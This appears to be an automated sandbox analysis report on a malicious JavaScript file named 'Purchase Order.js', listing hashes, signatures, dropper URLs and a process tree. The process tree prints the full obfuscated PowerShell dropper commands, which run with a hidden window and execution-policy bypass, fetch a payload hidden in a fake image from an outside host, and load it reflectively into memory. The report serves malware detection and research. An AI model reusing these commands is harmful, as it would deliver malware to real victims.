Analysis

  • max time kernel
    66s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    14/10/2024, 19:19

General

  • Target

    Purchase Order.js

  • Size

    133KB

  • MD5

    8f4dc9bb5911379994ef0cadf2953e0d

  • SHA1

    456a8ba07ceab3066f9fd12f73d4f5da34549e50

  • SHA256

    8906d935345492816ccfc993df85b2fb7d37519247aa063126f8b93e577090d0

  • SHA512

    8a83e2be903573e7cb04031ed13297c1a1c9f65f32b6dacace36c52e9b818cf5536cc23d067c873f390a37da5c69a830b4d42aa4314d119d548008d77b29aa0b

  • SSDEEP

    3072:gW5Bbi9oLFzWuLD1dsW66/Y9tTCFzxW5Bbi9oLFzWuLDn:+9opzWwD1mOGJCFzh9opzWwDn

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg%20

exe.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg%20

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAOQBJAEQAaQBtAGEAZwBlAFUAcgBsACAAPQAgAGUAOAAwAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQwByAHkAcAB0AGUAcgBzAEEAbgBkAFQAbwBvAGwAcwBPAGYAaQBjAGkAYQBsAC8AWgBJAFAALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAEQAZQB0AGEAaABOAG8AdABlAF8ASgAuAGoAcABnACAAZQA4ADAAOwA5AEkARAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAJwArACcAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbAAnACsAJwBpAGUAbgB0ADsAOQBJAEQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAA5AEkARAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAOQBJAEQAJwArACcAaQBtAGEAJwArACcAZwBlAFUAcgBsACkAOwA5AEkARABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdACcAKwAnADoAOgBVAFQARgA4ACcAKwAnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAA5AEkARABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwA5AEkARABzAHQAYQByAHQARgBsAGEAZwAgAD0AIABlACcAKwAnADgAMAAnACsAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAKwAnAGUAOAAnACsAJwAwADsAOQBJAEQAZQBuAGQARgBsAGEAZwAgAD0AIABlADgAMAA8ADwAQgBBACcAKwAnAFMARQA2ADQAXwBFAE4ARAA+AD4AZQA4ADAAOwA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgADkASQBEAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuACcAKwAnAGQAZQB4AE8AZgAoADkASQBEAHMAdABhAHIAdABGAGwAYQBnACkAOwA5AEkARABlAG4AZABJAG4AZABlAHgAIAA9ACAAOQBJAEQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOQBJAEQAZQBuAGQARgBsAGEAZwApADsAOQBJAEQAJwArACcAcwB0ACcAKwAnAGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAA5AEkARABlAG4AZABJAG4AZABlAHgAIAAtAGcAJwArACcAdAAgADkASQBEAHMAJwArACcAdABhACcAKwAnAHIAdABJAG4AZABlAHgAOwA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAOQBJAEQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ADkASQBEAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAnACsAJwAgADkASQBEAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ADsAOQBJAEQAYgBhAHMAJwArACcAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAA5AEkARABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAOQBJAEQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAOQBJAEQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ADkASQBEAGMAbwBtAG0AYQAnACsAJwBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAJwArACcAKAA5AEkARABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwA5AEkARABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoADkASQBEAGMAbwBtAG0AYQBuAGQAQgB5AHQAJwArACcAZQBzACkAOwA5AEkARAB2AGEAaQBNAGUAdABoAG8AJwArACcAZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAZQA4ADAAVgBBAEkAJwArACcAZQA4ADAAKQAnACsAJwA7ADkASQBEAHYAJwArACcAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAA5AEkARABuACcAKwAnAHUAbABsACwAIABAACgAZQA4ADAAdAB4AHQALgBlAGQAbwAvAHYAZQBkAC4AMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgBjADAAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAyAC0AYgB1AHAALwAvADoAcwBwAHQAdABoAGUAOAAwACwAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAJwArACcAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAIABlADgAMABBAGQAZABJAG4AUAByAG8AYwAnACsAJwBlAHMAJwArACcAcwAzADIAZQA4ADAALAAgAGUAJwArACcAOAAwAGQAZQBzAGEAdABpAHYAYQBkAG8AZQA4ADAALAAnACsAJwAgAGUAOAAwAGQAZQBzAGEAdABpAHYAYQBkAG8AZQA4ADAAKQApADsAJwApACAALQBDAHIARQBQAEwAYQBDAEUAIAAnAGUAOAAwACcALABbAGMAaABhAHIAXQAzADkAIAAgAC0AQwByAEUAUABMAGEAQwBFACcAOQBJAEQAJwAsAFsAYwBoAGEAcgBdADMANgApACAAfAAmACAAKAAgACQAUwBoAEUATABsAEkAZABbADEAXQArACQAUwBoAEUAbABMAEkAZABbADEAMwBdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('9IDimageUrl = e80https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg e80;9IDwebClient = New-Object Sys'+'tem.Net.WebCl'+'ient;9IDimageBytes = 9IDwebClient.DownloadData(9ID'+'ima'+'geUrl);9IDimageText = [System.Text.Encoding]'+'::UTF8'+'.GetString(9IDimageBytes);9IDstartFlag = e'+'80'+'<<BASE64_START>>'+'e8'+'0;9IDendFlag = e80<<BA'+'SE64_END>>e80;9IDstartIndex = 9IDimageText.In'+'dexOf(9IDstartFlag);9IDendIndex = 9IDimageText.IndexOf(9IDendFlag);9ID'+'st'+'artIndex -ge 0 -and 9IDendIndex -g'+'t 9IDs'+'ta'+'rtIndex;9IDstartIndex += 9IDstartFlag.Length;9IDbase64Length ='+' 9IDendIndex - 9IDstartIndex;9IDbas'+'e64Command = 9IDimageText.Substring(9IDstartIndex, 9IDbase64Length);9IDcomma'+'ndBytes = [System.Convert]::FromBase64String'+'(9IDbase64Command);9IDloadedAssembly = [System.Reflection.Assembly]::Load(9IDcommandByt'+'es);9IDvaiMetho'+'d = [dnlib.IO.Home].GetMethod(e80VAI'+'e80)'+';9IDv'+'aiMethod.Invoke(9IDn'+'ull, @(e80txt.edo/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptthe80, e80desativadoe80, e80desativadoe80,'+' e80desativadoe80, e80AddInProc'+'es'+'s32e80, e'+'80desativadoe80,'+' e80desativadoe80));') -CrEPLaCE 'e80',[char]39 -CrEPLaCE'9ID',[char]36) |& ( $ShELlId[1]+$ShElLId[13]+'X')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2880

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    52e313dc553446e4bd0d516db429c0d4

    SHA1

    9a3ae983f3bbfeb96e2372b6874062afc5ec0ab4

    SHA256

    2eec280f168907b5698e1996af66aca9665902776e6e50074fb53b102b24e457

    SHA512

    25f123c642171847028b4392b1d88eef09fc727c7c300f907d5daa7357b8d6f143aacb4c843bea7d22e2a4ebc2cc84e3d9ccb56703c58f18cf8dff2fbec50a8d

  • memory/2940-4-0x000007FEF588E000-0x000007FEF588F000-memory.dmp

    Filesize

    4KB

  • memory/2940-5-0x000000001B170000-0x000000001B452000-memory.dmp

    Filesize

    2.9MB

  • memory/2940-6-0x0000000002040000-0x0000000002048000-memory.dmp

    Filesize

    32KB

  • memory/2940-7-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-8-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-9-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-11-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-16-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

    Filesize

    9.6MB